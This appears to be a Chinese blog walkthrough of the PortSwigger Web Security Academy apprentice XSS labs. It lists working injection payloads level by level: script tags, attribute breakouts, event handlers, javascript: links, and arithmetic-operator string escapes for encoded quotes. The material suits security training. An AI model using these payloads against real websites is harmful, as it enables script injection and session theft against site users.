Postswigger 靶场 XSS 通关

文章目录

PostSwigger靶场XSS通关

靶场地址:All labs | Web Security Academy (portswigger.net)

学徒:第一关

html 复制代码
<script>alert(/wuhu/)</script>

学徒:第二关

在页面上没有输入框,进入到博客中查看。

在博客的留言版中输入我们的攻击代码

html 复制代码
<script>alert(/wuhu/)</script>

点击返回博客

成功弹框

学徒:第三关

输入攻击代码查看页面反应

html 复制代码
<script>alert(/wuhu/)</script>

发现我们的攻击代码被传递到了img标签中,这里我们可以尝试将该标签闭合。

构造攻击代码:

html 复制代码
"> <script>alert(/wuhu/)</script>

学徒:第四关

输入参数查看页面反应

复制代码
wuhu

页面没有任何响应,查看网页源代码

发现我们的攻击代码被传入到了一个span标签中,构造攻击代码

html 复制代码
<script>alert(/wuhu/)</script>

页面还是没有弹窗,怀疑这里将script标签过滤了

重新构造攻击代码

html 复制代码
<img src='#' onerror='alert(/wuhu/)'>
<img src='#' onclick='alert(/wuhu/)'>

学徒:第五关

发现页面中多了一个提交反馈

进入到提交反馈页面

在message中输入构造的攻击代码

html 复制代码
<script>alert(/wuhu/)</script>

发现页面没有任何反应,查看页面提示

这里让我们更改href属性。没什么思路,查看一下页面源代码

观察发现,参数returnPath的值会回显到href属性中,底下的script中的代码也验证了。

构造我们的攻击代码

复制代码
javascript:alert(/wuhu/)

学徒:第六关

...

学徒:第七关

在输入框输入攻击代码,观察页面反应

html 复制代码
<script>alert(/wuhu/)</script>

页面将我们输入的攻击代码传递到了input标签的value参数中。

这里我们可以将value参数闭合,然后添加一个响应事件。

构造我们的攻击代码:

html 复制代码
" onmouseover = 'alert(/wuhu/)'

学徒:第八关

第八关的提示

提示我们需要提交一个评论,然后在点击评论作者名称的时候调用报警函数。

先提交一个普通的攻击代码查看页面反应。

html 复制代码
<script>alert(/wuhu/)</script>

找到了注入点位置,在a标签的href中,那么我们就可以构造攻击代码了,这里采用伪协议的方式,在Website中来构造攻击代码

html 复制代码
javascript:alert('http://')

然后点击我们的提交评论的名字即可弹框。

学徒:第九关

输入基础攻击代码,查看页面响应

html 复制代码
<script>alert(/wuhu/)</script>

查看页面源代码发现尖括号,反斜杠,单引号,双引号已经被编码了。

那么可以使用中划线/减号,也就是说减号两边的对象也是会先作为js执行,毕竟要先得到两边的值才能进行算数计算。

复制代码
'-alert(666)-'

因此除了减号,其他数学运算符号和位运算符号也可以,后面绕过XSS的思路就更多了。

html 复制代码
'+alert(1)+'
'/alert(1)/'
'%alert(1)%'
'*alert(1)*'
'^alert(1)^'
'>>alert(1)>>'
'<<alert(1)<<'
'<alert(1)<'
'>alert(1)>'
'==alert(1)=='
相关推荐
iOS开发上架哦21 分钟前
charles网络抓包入门教程
网络协议·安全
Suckerbin1 小时前
pikachu靶场-敏感信息泄露
网络·学习·安全·网络安全
嘿嘿-g1 小时前
华为IP(5)
网络·华为
薯条不要番茄酱2 小时前
【网络原理】从零开始深入理解TCP的各项特性和机制.(二)
服务器·网络·tcp/ip
薯条不要番茄酱2 小时前
【网络原理】从零开始深入理解TCP的各项特性和机制.(三)
网络·网络协议·tcp/ip
专注API从业者4 小时前
反爬策略应对指南:淘宝 API 商品数据采集的 IP 代理与请求伪装技术
网络·网络协议·tcp/ip
狐凄6 小时前
Python实例题:使用Pvthon3编写系列实用脚本
java·网络·python
思通数科AI全行业智能NLP系统9 小时前
AI视频技术赋能幼儿园安全——教师离岗报警系统的智慧守护
大数据·人工智能·安全·目标检测·目标跟踪·自然语言处理·ocr
明似水10 小时前
Flutter 弹窗队列管理:支持优先级的线程安全通用弹窗队列系统
javascript·安全·flutter
CYRUS_STUDIO12 小时前
使用 Dex2C 加壳保护 Android APK 代码
android·安全·逆向